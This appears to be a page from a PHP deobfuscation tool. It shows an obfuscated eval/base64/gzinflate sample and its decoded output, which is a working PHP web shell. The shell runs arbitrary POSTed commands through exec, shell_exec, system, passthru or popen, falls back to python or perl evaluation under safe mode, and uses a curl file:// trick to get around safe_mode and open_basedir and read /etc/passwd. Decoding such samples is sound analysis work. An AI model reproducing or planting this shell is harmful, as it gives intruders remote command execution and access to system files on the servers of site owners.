Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(str_rot13(gzinflate(str_rot13(base64_decode('LUvFsuTKkvyaeO/OQQw2K7FXzLQZEzOzvv..

Decoded Output download

<?php
define("br", "<br />
");
define("ln", "
");
global $formcmd;
if (!empty($_POST["cmd"])) {
    $formcmd = $_POST["cmd"];
}
function wr($txt) {
    echo $txt;
}
function com($txt) {
    wr("[email protected]~$ " . $txt);
}
function root($txt) {
    wr("[email protected]~# " . $txt);
}
function funcex($func, $txt = "Using: ") {
    com($txt . $func . ln);
    return $var = function_exists($func);
}
echo '<style>*{margin:0;padding:0;border:1;}input{float:left;}</style>' . ln;
echo '<form action="stest-minimized.php" method="post">' . ln;
echo '<textarea style="width: 100%; height: 10%;">' . ln;
com("PHP Version: " . phpversion() . ln);
com("Safe mode: ");
if (ini_get("safe_mode") || ini_get("safe_mode_gid")) {
    wr("SafeMode <b>On</b>" . ln);
    define("SAFEMODE", true);
} else {
    wr("SafeMode Off" . ln);
    define("SAFEMODE", false);
}
function ex($cmd) {
    global $result;
    if (!empty($cmd)) {
        if (SAFEMODE) {
            if (extension_loaded("python")) {
                $result = python_eval("import os
os.system('$cmd')");
                if (empty($result)) {
                    $result = python_eval('import os
pwd = os.getcwd()
print pwd
os.system("$cmd")');
                }
                return $result;
            } elseif (extension_loaded("perl")) {
                $perl = new perl();
                $perl->eval("system('$cmd')");
                $result = $perl;
                return $result;
            }
        } else {
            if (funcex("exec")) {
                @exec($cmd, $result);
                $result = join("
", $result);
            } elseif (funcex("shell_exec")) {
                $result = @shell_exec($cmd);
            } elseif (funcex("system")) {
                @ob_start();
                @system($cmd);
                $result = @ob_get_contents();
                @ob_end_clean();
            } elseif (funcex("passthru")) {
                @ob_start();
                @passthru($cmd);
                $result = @ob_get_contents();
                @ob_end_clean();
            } elseif (@is_resource($f = @popen($cmd, "r"))) {
                while ([email protected]($f)) {
                    $result.= @fread($f, 8192);
                }
                @pclose($f);
            }
        }
    }
    return $result;
}
if (SAFEMODE) {
    global $strtotalfile;
    global $addallslashes;
    function curllf($strfile) {
        $strtotalfile = "file:file:";
        if (!file_exists("file:")) {
            mkdir("file:");
            chdir("file:");
        } else {
            chdir("file:");
        }
        $p = explode("/", $strfile);
        foreach ($p as $key => $value) {
            if (!empty($value)) {
                if (!file_exists($value)) {
                    mkdir($value);
                    chdir($value);
                } else {
                    chdir($value);
                }
            }
        }
        for ($i = 0;$i < count($p);$i++) {
            $addallslashes.= "/";
            chdir("..");
        }
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $strtotalfile . $addallslashes . $strfile);
        $result = curl_exec($ch);
        curl_close($ch);
        return $result;
    }
    if (funcex("curllf", 'Bypass: safe_mode & open_basedir with function ')) {
        com('Using: curllf("/etc/passwd");' . br);
        curllf("/etc/passwd");
    }
}
echo '</textarea>' . ln;
echo '<textarea style="width: 100%; height: 70%;">' . ln;
wr(ex($formcmd));
echo '</textarea>' . ln;
echo '<input type="text" name="cmd" value="' . $formcmd . '" style="width: 100%; height: 10%;" />' . br;
echo '<input type="submit" name="exec" value="exec" style="width: 50%; height: 10%;" /><input type="reset" name="remove" value="remove" style="width: 50%; height: 10%;" />' . ln;
?>

Did this file decode correctly?

Original Code

<?php
eval(str_rot13(gzinflate(str_rot13(base64_decode('LUvFsuTKkvyaeO/OQQw2K7FXzLQZEzOzvv5W3WbMqipCKjOUEB7uEVg93P9h/RGv90Mu/45QsWDI/83LlMzLv/nQR/n9///8VEkXEFVTNhHF1SdhFjEH1Q4PHIC4hnlV8h9Vr6u4Hkwg1kA8F05DXaJ/IJtrH2eJTmpiW/2JhbrKDG3WsZLGRS1x9NsNr7mL/rAdpZpqY0y+X9z7Ae1SeRaPBQzYC86Zfbtxk3Wwwj/rUqmrhRDBpnu0KmPc11c0FiwWSoY6Ez6kLf2CDZDvdLuO/Fy9bSfbOUfW5sSE3Ky03wx606ydnK7Myho7a99PyDb0DpSUY+NGcLc8hHTm9HS+cMuIzvYC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S7bH6vZxcch45ayqTkXzaY2f8pmj9u376zkRJh6STSXoM+PJ9W/8vs7LHddyeViuyH+gc3//M/797//BQ==')))));
?>

Function Calls

rawurldecode 1
base64_decode 18
strrev 3
gzuncompress 4
gzinflate 11
str_rot13 11

Variables

None

Stats

MD5 a90c3ae98963378000feeb1774cae970
Eval Count 16
Decode Time 258 ms